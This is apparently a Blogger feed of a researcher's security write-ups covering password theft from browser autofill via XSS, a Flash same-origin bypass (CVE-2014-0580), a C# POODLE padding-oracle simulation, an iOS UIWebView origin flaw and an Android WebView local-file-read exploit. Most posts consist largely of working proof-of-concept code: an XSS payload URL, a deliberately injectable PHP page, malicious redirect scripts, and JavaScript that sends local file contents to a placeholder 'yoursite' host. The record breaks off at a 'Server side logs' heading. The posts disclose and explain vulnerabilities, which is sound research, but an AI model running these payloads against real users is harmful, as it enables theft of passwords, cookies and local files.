tag:blogger.com,1999:blog-33229648121841287002024-03-06T07:02:58.720+09:00Two catsHarupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.comBlogger8125tag:blogger.com,1999:blog-3322964812184128700.post-19161851180684552017-01-23T23:11:00.000+09:002017-01-23T23:27:26.884+09:00Password Stealing from Password Manager of Modern Browsers<a href="https://finnwea.com/blog/stealing-passwords-from-mcdonalds-users">Stealing passwords from McDonald's users</a> became a topic of conversation. This article was translated and be mentioned in <a href="http://gigazine.net/news/20170117-stealing-password-mcdonalds/">the Japanese web media</a>. Of course, XSS is a typical security flaw and should be addressed, but it looks that McDonald's password manager issue is a just general issue of password manager.<br />
<br />
Let's see password managers on modern browsers.<br />
Table. An attacker can steal stored user password on the password manager by XSS?<br />
<br /><style type="text/css"><!--td {border: 1px solid #ccc;}br {mso-data-placement:same-cell;}--></style>
<table border="1" cellpadding="0" cellspacing="0" dir="ltr" style="border-collapse: collapse; border: 1px solid #ccc; font-family: arial,sans,sans-serif; font-size: 13px; table-layout: fixed;"><colgroup><col width="161"></col><col width="225"></col><col width="225"></col></colgroup><tbody>
<tr style="height: 21px;"><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;"></td><td data-sheets-value="{"1":2,"2":"Auto filled"}" style="background-color: #d0e0e3; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); border-top-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Auto filled</td><td data-sheets-value="{"1":2,"2":"Can be stealed?"}" style="background-color: #d0e0e3; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); border-top-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Can be stealed?</td></tr>
<tr style="height: 21px;"><td data-sheets-value="{"1":2,"2":"IE11"}" style="background-color: #d0e0e3; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">IE11</td><td data-sheets-value="{"1":2,"2":"No (Requires user operation)"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">No (Requires user operation)</td><td data-sheets-value="{"1":2,"2":"Yes (Requires user operation) *1"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Yes (Requires user operation) *1</td></tr>
<tr style="height: 21px;"><td data-sheets-value="{"1":2,"2":"Chrome 55.0.2883.87"}" style="background-color: #d0e0e3; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Chrome 55.0.2883.87</td><td data-sheets-value="{"1":2,"2":"Yes"}" style="background-color: #f4cccc; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Yes</td><td data-sheets-value="{"1":2,"2":"Yes"}" style="background-color: #f4cccc; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Yes</td></tr>
<tr style="height: 21px;"><td data-sheets-value="{"1":2,"2":"Firefox 50.1.0"}" style="background-color: #d0e0e3; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Firefox 50.1.0</td><td data-sheets-value="{"1":2,"2":"Yes"}" style="background-color: #f4cccc; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Yes</td><td data-sheets-value="{"1":2,"2":"Yes"}" style="background-color: #f4cccc; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Yes</td></tr>
<tr style="height: 21px;"><td data-sheets-value="{"1":2,"2":"Safari 10.0.2"}" style="background-color: #d0e0e3; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Safari 10.0.2</td><td data-sheets-value="{"1":2,"2":"No (Requires user operation)"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">No (Requires user operation)</td><td data-sheets-value="{"1":2,"2":"Yes (Requires user operation)"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-size: 110%; padding: 2px 3px; vertical-align: bottom;">Yes (Requires user operation)</td></tr>
</tbody></table>
*1 IE's XSS filter is difficult to defeat if attack vector is reflected one.<br />
<br />
Once Chrome or Firefox users save passwords to the password manager, an attacker can steal passwords by XSS. (Chrome doesn't allow read password field without user interaction when users move to XSSed page from a tag. But it seems that <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=681791">it is not intended behavior</a>.)<br />
In McDonald's case, an attacker must find encryption key and decrypt encrypted cookie but these password managers don't require complicated attack vectors. Just do XSS and read password field!<br />
<br />
Step 1. Input your ID/password and submit them to the server.<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIsRcfSlhrmWo9qkXyJlQN_emOkgHEbWgNBWJimzSMiaidUXuYw7EEmhdrxOiKL29bOzgtNLYs6fLLwoTtjOAxuiAKFqwQUKgsogxNh2hEoJMUI_b7fw_UCFxly0kfVvp4kJBI4FzA2flY/s1600/password1.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIsRcfSlhrmWo9qkXyJlQN_emOkgHEbWgNBWJimzSMiaidUXuYw7EEmhdrxOiKL29bOzgtNLYs6fLLwoTtjOAxuiAKFqwQUKgsogxNh2hEoJMUI_b7fw_UCFxly0kfVvp4kJBI4FzA2flY/s320/password1.png" width="320" /></a><br />
<br />
Step 2. Save password to your browser.<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiovvbIKL9G8oP_M9puk_956Nnf9wm874oV_U3aqQ_GuQq_rhQnGfkAAV0bDgoIlFBHCVNoRkTaUVL_6OAsqOZdaIwKboDs2LWWwMP0HcrcryEFkYj0JzhupSaubYXqMAIa9ggg6rc-8601/s1600/password2.png" imageanchor="1"><img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiovvbIKL9G8oP_M9puk_956Nnf9wm874oV_U3aqQ_GuQq_rhQnGfkAAV0bDgoIlFBHCVNoRkTaUVL_6OAsqOZdaIwKboDs2LWWwMP0HcrcryEFkYj0JzhupSaubYXqMAIa9ggg6rc-8601/s320/password2.png" width="320" /></a><br />
<br />
Step 3. XSS and steal password from auto filled password field.<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvHRz_0YIK_59eAe_HUVdBvcYL3qEwHtskcRc5lrlmRCPkzexEo4g3yYUtPYgKf7PnQjsRzur-MCkT-num3HaohQVbcOPSQQIUxNanza-4ppITYNlsdsU0coVx6IboATlsf4ApSjJ0KArM/s1600/password3.png" imageanchor="1"><img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvHRz_0YIK_59eAe_HUVdBvcYL3qEwHtskcRc5lrlmRCPkzexEo4g3yYUtPYgKf7PnQjsRzur-MCkT-num3HaohQVbcOPSQQIUxNanza-4ppITYNlsdsU0coVx6IboATlsf4ApSjJ0KArM/s320/password3.png" width="320" /></a><br />
<br />
I put my sample code described below on my test server: <a href="http://133.242.134.241/exploit/password_manager.php">http://133.242.134.241/exploit/password_manager.php</a><br />
<br />
If you want to XSS from other site, please try <a href="https://www.google.co.jp/url?sa=t&url=http://133.242.134.241/exploit/password_manager.php?xss=%27%3bf=document.createElement(%27form%27)%3bf.action=%27login_exec%27%3bdocument.body.appendChild(f)%3bf.innerHTML=%27%3Cinput%20name=id%3E%3Cbr%3E%3Cinput%20type=password%20name=pass%3E%27%3bi=setInterval(function(){p=document.forms[0].pass.value%3bif(p!=%27%27){alert(p)%3bclearInterval(i)}},100)%3b%27">this</a>.<br />
<br />
Sample code:<br />
<blockquote class="tr_bq">
<body><br />
<?php<br />
if(!isset($_GET{"xss"}) && !isset($_POST{"pass"})) {<br />
?><br />
Please submit id/pass to use password manager.<br />
<form action="?" method="post"><br />
<input name="id"><br><br />
<input type="password" name="pass">(use dummy password)<br><br />
<input type="submit"><br />
</form><br />
<?php<br />
}else {<br />
?><br />
Please click below to fire XSS after save your password to password manager.<br><br />
<a href="#" onclick="location.href='?xss=%27%3bf=document.createElement(%27form%27)%3bf.action=%27login_exec%27%3bdocument.body.appendChild(f)%3bf.innerHTML=%27%3Cinput%20name=id%3E%3Cinput%20type=password%20name=pass%3E%27%3bi=setInterval(function(){p=document.forms[0].pass.value%3bif(p!=%27%27){alert(p)%3bclearInterval(i)}},100)%3b%27'">Fire XSS!</a><br />
<script><br />
var a='< ?php echo $_GET{"xss"} ? >';<br />
</script><br />
<?php<br />
}<br />
?><br />
</body></blockquote>
<div>
<br /></div>
<br />
<br />
<br />Harupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.com0tag:blogger.com,1999:blog-3322964812184128700.post-50576310006776754152015-06-12T18:28:00.001+09:002015-06-12T18:28:17.517+09:00Adobe Flash Player - Circumvent The Same-Origin Policy (CVE-2014-0580).Flash Player limit cross domain access with arbitrary custom headers but there was a way to bypass it. I reported it October 2014 and fixed at December 2014.<br />
I'd like to share details of CVE-2014-0580. Don’t expect too much. This vulnerability is very simple.<br />
<br />
Flash Player prohibit cross domain access without permission by crossdomain.xml. When an attacker try to send cross domain http request with custom headers, Flash Player will confirm crossdomain.xml before sending cross domain http request. However, 307 redirect with crafted Location enable an attacker to send cross domain request before confirming crossdomain.xml.<br />
*This scenario is almost same as CVE-2011-0059, probably.<br />
<br />
Then, crafted Location header is like below:<br />
<blockquote class="tr_bq">
HTTP/1.1 307 OK<br />Location: / /www.abobe.com/<br />Note: this works only on chrome</blockquote>
<br />
"/\t/" is useful to bypass domain validation filter. You can test browser's behavior by using this test code:<br />
<blockquote class="tr_bq">
javascript:location.href="/\t/www.example.com/";</blockquote>
Copy and Paste this script into a browser address bar or javascript console. You can see the top page of "www.example.com".<br />
<br />
<br />
I confirmed this issue on Chrome and Safari.<br />
<br />
Sample action script code:<br />
<blockquote class="tr_bq">
var req:URLRequest = new URLRequest("./location_flash.cgi");<br />req.method = URLRequestMethod.POST;<br />var header:URLRequestHeader = new URLRequestHeader("Content-type", "haru/jetstream");<br />req.requestHeaders.push(header);<br />var header2:URLRequestHeader = new URLRequestHeader("X-Haru", "yes!");<br />req.requestHeaders.push(header2);<br />req.data = "{\"test\":1}";<br />var loader:URLLoader = new URLLoader();<br />loader.addEventListener(Event.COMPLETE, loaderCompleteHD);<br />loader.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHD);<br />loader.dataFormat = URLLoaderDataFormat.TEXT<br />loader.load(req);</blockquote>
<br />
Server side sample code for Chrome: location_flash.cgi<br />
<blockquote class="tr_bq">
#! /usr/local/bin/perl --<br />print "Status:307\n";<br />print "Location: /\t/www.adobe.com/\n\ntest";</blockquote>
<br />
Server side sample code for Safari on Mac: location_flash.cgi<br />
<blockquote class="tr_bq">
#! /usr/local/bin/perl --<br />print "Status:307\n";<br />print "Location: //www.adobe.com/\n\ntest"; #No need to bypass the filter :-(</blockquote>
<div>
<br /></div>
Harupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.com0tag:blogger.com,1999:blog-3322964812184128700.post-20433033337417142532014-10-20T00:17:00.000+09:002014-10-22T17:57:09.925+09:00CBC Padding-Oracle Attack (aka POODLE)CBC Padding-Oracle Attack was disclosed last week and it looks very critical one and technically interesting. Unfortunately, Man-In-The-Middle attacks with low layer trick are very difficult to understand and I've tried to reproduce this encryption logic flaw by using C#. It works on stand alone PC and I think this helps you understand how POODLE works.<br />
<br />
When we use encryption with CBC, encrypted data is usually like below:<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAIruzGf3RjHJBHnjTzP6wK87XIn_Ma33BIMFsYEswRsHrMCqD5DtORWr-l2aKn3C1fKwHYuYtNNlvO8DbqBg-Hy9Lo6mCbQlygSi3TwaukWYto2MsE2bzcsg7-YB9fLBkEn5e48-v0tlq/s1600/PaddingOracleAttack_data1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAIruzGf3RjHJBHnjTzP6wK87XIn_Ma33BIMFsYEswRsHrMCqD5DtORWr-l2aKn3C1fKwHYuYtNNlvO8DbqBg-Hy9Lo6mCbQlygSi3TwaukWYto2MsE2bzcsg7-YB9fLBkEn5e48-v0tlq/s1600/PaddingOracleAttack_data1.png" height="66" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
</div>
Cipher text consists of IV, encrypted data and padding. Usually, last block is encrypted data with padding. But, in the case of plain text data is multiple of block size, last block is only encrypted padding:<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKSAVS_NFpP0b2VpmL_U1bZ_DrVkOJOzLkLcv3RbEg21d-LNttwTF-_jcPQvoa7mOhLzVcQirSG9tM3Ss1vgKETB5ZJB3U6wmib_NfZs_MWRtiFDS-Ko7ZBVIaeU6UHPWTml_7-sipmV3t/s1600/PaddingOracleAttack_data2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKSAVS_NFpP0b2VpmL_U1bZ_DrVkOJOzLkLcv3RbEg21d-LNttwTF-_jcPQvoa7mOhLzVcQirSG9tM3Ss1vgKETB5ZJB3U6wmib_NfZs_MWRtiFDS-Ko7ZBVIaeU6UHPWTml_7-sipmV3t/s1600/PaddingOracleAttack_data2.png" height="70" width="320" /></a></div>
So, if you can know the padding algorithm, it is very easy to guess plain text of last block. ;-)<br />
And SSLv3 padding algorithm verify only last byte of padding (padding length). Then, it is vulnerable to plain text attack. If an attacker can modify last block, he can guess last byte of other blocks' plain text by duplicating. If decryption succeed with modified block, last byte of the block is equal to padding length.<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCSzVRQBAMJPNdQzQL5Y8NXkiJzrOQGyNIWzFYROAKl3_pYCVPjV73c6zZ0aoF3lPWZnejs-KP-6ieJkySzfOPakMh-DPCE00jV7bhDbwCcG_2x4mfbuyN2zLr6hyphenhyphen_CaLOifaumoLoLyD0/s1600/PaddingOracleAttack_data3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCSzVRQBAMJPNdQzQL5Y8NXkiJzrOQGyNIWzFYROAKl3_pYCVPjV73c6zZ0aoF3lPWZnejs-KP-6ieJkySzfOPakMh-DPCE00jV7bhDbwCcG_2x4mfbuyN2zLr6hyphenhyphen_CaLOifaumoLoLyD0/s1600/PaddingOracleAttack_data3.png" height="70" width="320" /></a></div>
To achieve this attack, an attacker must control plain text length and position of<br />
target secret data. So, it work on HTTP request because an attacker can insert both of path and body data.<br />
And POODLE is reported as SSLv3 vulnerability but I think other systems have potential vulnerability if vulnerable parring is used.<br />
If you want to confirm how this vulnerability works, combination of C# and ISO10126 padding is available. At first, I tried to use SSL3Padding of Java but SSL3Padding is just reserved and not implemented :-/<br />
<br />
Sample Code:<br />
<blockquote class="tr_bq">
using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Security.Cryptography;<br />
using System.Text;<br />
using System.Threading.Tasks;<br />
namespace PaddingOracleAttack<br />
{<br />
class Program<br />
{<br />
static void Main(string[] args)<br />
{<br />
String secure_key = "12345678901234567890123456789012";//An attacker doesn't need to know this<br />
int count = 0;<br />
int target_block = 5;<br />
String decrypted_cookie = "";<br />
String dummy_text = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";<br />
while (true && decrypted_cookie.Length < 32)<br />
{<br />
++count;<br />
try<br />
{<br />
String sec_plain_text = "GET [path] HTTP/1.1\r\nCookie: session_id=<b><span style="color: red;">0afba76ae8f76dbb2b7bd96fcec81888</span></b>\r\n\r\n[body]";//This cookie is a target to guess<br />
String compromized_text = sec_plain_text<br />
.Replace("[path]", "/" + dummy_text.Substring(0, 13 + decrypted_cookie.Length))<br />
.Replace("[body]", dummy_text.Substring(0, 44 - decrypted_cookie.Length));<br />
//Encrypt<br />
byte[] cipher = EncryptString(compromized_text, secure_key);<br />
/* An attacker modify cipher text directly by MITM */<br />
byte[] modifiedCipher = new byte[cipher.Length];<br />
Array.Copy(cipher, 0, modifiedCipher, 0, cipher.Length - 16);<br />
Array.Copy(cipher, 16 * target_block, modifiedCipher, cipher.Length - 16, 16);//Duplicate target block and over write by that.<br />
//Decrypt<br />
byte[] sec_decrypted = DecryptString(modifiedCipher, secure_key);<br />
//Some verification is necessary<br />
if (sec_decrypted.Length == compromized_text.Length)<br />
{<br />
//Get decrypted raw data by xor with known padding length<br />
byte paddingLength = 0x10;<br />
byte test1 = (byte)(cipher[cipher.Length - 16 - 1] ^ paddingLength);<br />
//Get decrypted plain text<br />
byte test2 = (byte)(cipher[16 * target_block - 1] ^ test1);<br />
byte[] test3 = { test2 };<br />
Console.WriteLine("Found: "+System.Text.Encoding.UTF8.GetString(test3));<br />
decrypted_cookie = System.Text.Encoding.UTF8.GetString(test3) + decrypted_cookie;<br />
}<br />
}<br />
catch (CryptographicException e)<br />
{<br />
}<br />
}<br />
Console.WriteLine("Answer:" + decrypted_cookie);<br />
Console.WriteLine("Count:" + count);<br />
Console.ReadLine();<br />
}<br />
public static byte[] EncryptString(string sourceString, string password)<br />
{<br />
AesManaged aes = new AesManaged();<br />
aes.BlockSize = 128; // BlockSize = 16bytes<br />
aes.KeySize = 128; // KeySize = 16bytes<br />
aes.Mode = CipherMode.CBC; // CBC mode<br />
aes.Padding = PaddingMode.ISO10126; // Padding mode is "ISO10126".<br />
aes.Key = System.Text.Encoding.UTF8.GetBytes(password);<br />
byte[] strBytes = System.Text.Encoding.UTF8.GetBytes(sourceString);<br />
System.Security.Cryptography.ICryptoTransform encryptor = aes.CreateEncryptor();<br />
byte[] encBytes = encryptor.TransformFinalBlock(strBytes, 0, strBytes.Length);<br />
encryptor.Dispose();<br />
byte[] result = new byte[aes.IV.Length + encBytes.Length];<br />
Array.Copy(aes.IV, result, aes.IV.Length);<br />
Array.Copy(encBytes, 0, result, aes.IV.Length, encBytes.Length);<br />
return result;<br />
}<br />
public static byte[] DecryptString(byte[] sourceString, string password)<br />
{<br />
byte[] decBytes;<br />
byte[] iv = new byte[16];<br />
Array.Copy(sourceString, iv, 16);<br />
byte[] encBytes = new byte[sourceString.Length - 16];<br />
Array.Copy(sourceString, 16, encBytes, 0, encBytes.Length);<br />
AesManaged aes = new AesManaged();<br />
aes.BlockSize = 128; // BlockSize = 16bytes<br />
aes.KeySize = 128; // KeySize = 16bytes<br />
aes.Mode = CipherMode.CBC; // CBC mode<br />
aes.Padding = PaddingMode.ISO10126; // Padding mode is "ISO10126".<br />
aes.Key = System.Text.Encoding.UTF8.GetBytes(password);<br />
aes.IV = iv;<br />
System.Security.Cryptography.ICryptoTransform decryptor =<br />
aes.CreateDecryptor();<br />
decBytes = decryptor.TransformFinalBlock(encBytes, 0, encBytes.Length);<br />
decryptor.Dispose();<br />
return decBytes;<br />
}<br />
}<br />
}</blockquote>
<div>
Result: </div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmuyC1xB_0uU4gi4h38FOe_reGyGb-B4qFcY60o-BIl8lY5aYqPnCGg1eNlHsQNGmKUDgEPcJMCWkJwJOWZIGXEwp_7WSWrIx30TRNJqfSGqzCtekq1CRGS8Ro_ZfXE9EY5NHOG0l6lySX/s1600/PaddingOracleAttack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmuyC1xB_0uU4gi4h38FOe_reGyGb-B4qFcY60o-BIl8lY5aYqPnCGg1eNlHsQNGmKUDgEPcJMCWkJwJOWZIGXEwp_7WSWrIx30TRNJqfSGqzCtekq1CRGS8Ro_ZfXE9EY5NHOG0l6lySX/s1600/PaddingOracleAttack.png" height="232" width="320" /></a></div>
<br />Harupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.com0tag:blogger.com,1999:blog-3322964812184128700.post-78879856277569352302014-10-01T23:51:00.000+09:002014-10-01T23:59:53.343+09:00Same-Origin Policy Potential Issue of iOS UIWebViewI found same-origin policy potential issue on stringByEvaluatingJavaScriptFromString method of UIWebView. When you use this method at shouldStartLoadWithRequest with http redirect, javascript will be executed on wrong domain.<br />
<div>
This is just potential issue. Practically, it is not security issue if developer doesn't made a mistake.</div>
<div>
<br /></div>
<div>
I tested about 100 browsers for iOS on AppStore. I found 3 browsers (and 2 branches of them) are vulnerable and I could bypass Same-Origin Policy. I think this is interesting but this is minor issue.<br />
<br />
Vulnerable Sample WebView code:<br />
<blockquote class="tr_bq">
- (BOOL)webView:(UIWebView *)webView<br />
shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType {<br />
NSString *prefix = @"javascript:";<br />
//urlStr includes javascript like "javascript:alert('xss')"<br />
NSString *urlStr = request.URL.absoluteString;<br />
if ([urlStr hasPrefix:prefix]) {<br />
[webView stringByEvaluatingJavaScriptFromString:urlStr];<br />
}<br />
return YES;<br />
}</blockquote>
</div>
<div>
Server side malicious sample code (perl):</div>
<div>
<blockquote class="tr_bq">
#! /usr/local/bin/perl --<br />
print "Location: javascript:alert(document.cookie)\n\n";</blockquote>
</div>
<div>
Steps to confirm this issue are below:</div>
<div>
- Step. 1: Visit site A</div>
<div class="separator" style="clear: both; text-align: left;">
- Step. 2: Visit site B</div>
<div>
- Step. 3: Site B returns 302 redirect with 'javasctript:xxxx' in Location header<br />
- Step. 4: Execute Javascript of site B<br />
<br />
In this case, javascript must be executed on site B but iOS UIWebView execute site B's javascript on site A.<br />
I tested this on google and JavaScript on my web site is executed on "<a href="http://www.google.co.jp/">www.google.co.jp</a>" like below:<br />
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt4vOfYzl3dXoPQnoFeXKq591KYBZ9V9gi1CijudX8UMYNnNaj39q5FcnyM-yQAYOYPk3UIQcuYILGZ_n3W5GnSWRQI5CHYso900MdAdu8ucne3pb4lRagZHRj-WkfEixLKDrrRCi0p_5y/s1600/ios_uiwebview.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt4vOfYzl3dXoPQnoFeXKq591KYBZ9V9gi1CijudX8UMYNnNaj39q5FcnyM-yQAYOYPk3UIQcuYILGZ_n3W5GnSWRQI5CHYso900MdAdu8ucne3pb4lRagZHRj-WkfEixLKDrrRCi0p_5y/s1600/ios_uiwebview.png" height="320" width="203" /></a></div>
<div>
* This google page is <a href="https://www.google.co.jp/url?sa=t&url=http://www.example.com/">redirect page for search result</a>.</div>
<br />
It looks wrong but is by design. :-/<br />
Usually, developers use custom schemes in shouldStartLoadWithRequest. If you want to handle JavaScript in your code, please pay attention to this :-)<br />
<br /></div>
Harupuhttp://www.blogger.com/profile/04227946140535001110noreply@blogger.com0tag:blogger.com,1999:blog-3322964812184128700.post-85719693233621928162014-09-21T15:25:00.003+09:002014-09-22T04:40:26.446+09:00Android WebView Local File Access Restriction Bypass (CVE-2014-6041 and notfound trick)Usually, web sites cannot open and access client's local file. However, 'file:' can be available by using 'notfound trick' and an attacker can get local file from remote web site. :-)<br />
<br />
<b>CVE-2014-6041</b><br />
CVE-2014-6041 was disclosed by <a href="http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html">Rafay Baloch</a>. This enables attackers to bypass Android browser and WebView SOP. Very interesting!<br />
<blockquote class="tr_bq">
<iframe name="test" src="http://www.rhainfosec.com"></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:alert(document.domain)','test')" ></blockquote>
Since Android browser and WebView are strictly prohibit local file access from web sites on the Internet. For example, when you try to open 'file:/default.prop' by iframe on your web site, you can see just a white page. '\u0000file:xxx' also doesn't work.<br />
<div>
<div>
But, by using notfound trick, you can open 'file:xxx' by iframe and CVE-2014-6041 enable us to access it's body.innerHTML.</div>
<div>
</div>
<div>
<b>Notfound trick</b></div>
<div>
Notfound trick is quite easy. Just open 'http://notfound' by iframe:</div>
<blockquote class="tr_bq">
<iframe src="http://notfound"></iframe></blockquote>
<div>
Then, this iframe has escalated privilege. </div>
<div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX1G8gW_rwBUR73oVLuVaI2VGVqsA8PCYE3bmn-TV-pXQFZXIKRlU43VBDFGQadU1lDLSoOLo_C0EecHFBZShvpNu_OVtsg7Uu9rhkI6M2h1ElABBYU2s4Qou2Uau0E-fHqk5hK-mL-Fg0/s1600/notfound_trick.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX1G8gW_rwBUR73oVLuVaI2VGVqsA8PCYE3bmn-TV-pXQFZXIKRlU43VBDFGQadU1lDLSoOLo_C0EecHFBZShvpNu_OVtsg7Uu9rhkI6M2h1ElABBYU2s4Qou2Uau0E-fHqk5hK-mL-Fg0/s1600/notfound_trick.png" height="320" width="251" /></a> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDIDD93OWVeR_NubmCXyghlO0mYB4lTISwnu962ntjhLt1qTH-emxAGR9IaGcsvckgTHyg4tF7Xw0SUegt6NQDqvNt_exwcssAPvQ2_zj3qS4AhtyagkTOKrrHxYBry8SdPqUoQo2rR1gv/s1600/notfound_trick2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDIDD93OWVeR_NubmCXyghlO0mYB4lTISwnu962ntjhLt1qTH-emxAGR9IaGcsvckgTHyg4tF7Xw0SUegt6NQDqvNt_exwcssAPvQ2_zj3qS4AhtyagkTOKrrHxYBry8SdPqUoQo2rR1gv/s1600/notfound_trick2.png" height="320" width="251" /></a></div>
<br />
An attacker can open local files as Android browser. '/data/data/com.android.browser/*' is also readable like below: <br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrggyu-K6moasSbESyU0vUFMu3ZbNtOorhjzApdIq3DAofq4YErCmG0jyr1qqPgw60UTXmAMx-h3lfPqA179kGpQP1ySWGL0OrVH9dOWRo9MCC7ZEIF3Si2QuKriWeWqT3dnNVwwloZbkY/s1600/notfound_trick3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrggyu-K6moasSbESyU0vUFMu3ZbNtOorhjzApdIq3DAofq4YErCmG0jyr1qqPgw60UTXmAMx-h3lfPqA179kGpQP1ySWGL0OrVH9dOWRo9MCC7ZEIF3Si2QuKriWeWqT3dnNVwwloZbkY/s1600/notfound_trick3.png" height="320" width="251" /></a></div>
There is no need to open target websites with iframe.<br />
<br />
Android 2.X and 3.X are exploitable by only this notfound trick but I couldn't use it on Android 4.X. CVE-2014-6041 enables me to access body.innerHTML. And, probably, this trick is not known one.<br />
<div>
<br /></div>
<b>Affected version</b></div>
<div>
I tested this on my Android phone (4.0.4) and Android SDK emulator (4.1.2, 4.2.2). It works both of Android browser and WebView applications.<br />
When I opened 'http://notfound/' with Android SDK emulator 4.4.2, I found the message 'E/browser ( 1067): Console: Not allowed to load local resource: file:///android_asset/webkit/android-weberror.png data:text/html,chromewebdata:12' at terminal log. It looks iframe failed to get escalated privilege. </div>
<div>
<br /></div>
<div>
<b>PoC</b></div>
<div>
test.html:</div>
<div>
<blockquote class="tr_bq">
<button onclick="iframe.src='http://notfound/'">Open http://notfound/</button><br><br />
<button onclick="exploit1()">Get local file!</button><br><br />
<script><br />
function exploit1() {<br />
window.open('\u0000javascript:document.body.innerHTML="<script src=http://<span style="color: #990000;">yoursite</span>/exploit/test.js></scr"+"ipt><iframe src=<span style="color: red;">file:/default.prop</span> onload=exploit2() style=width:100%;height:1000px; name=test2></iframe>";','test');<br />
}<br />
</script><br />
<iframe src="http://www.example.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe></blockquote>
</div>
<div>
test.js:</div>
<div>
<blockquote class="tr_bq">
var flag = 0;<br />
function exploit2(){<br />
if(flag) {return}<br />
window.open('\u0000javascript:location.replace("http://<span style="color: #990000;">yoursite</span>/?file="+escape(document.body.innerHTML))','test2');<br />
flag = 1;<br />
}</blockquote>
</div>
<div>
Server side logs:</div>
<div>
<blockquote class="tr_bq">
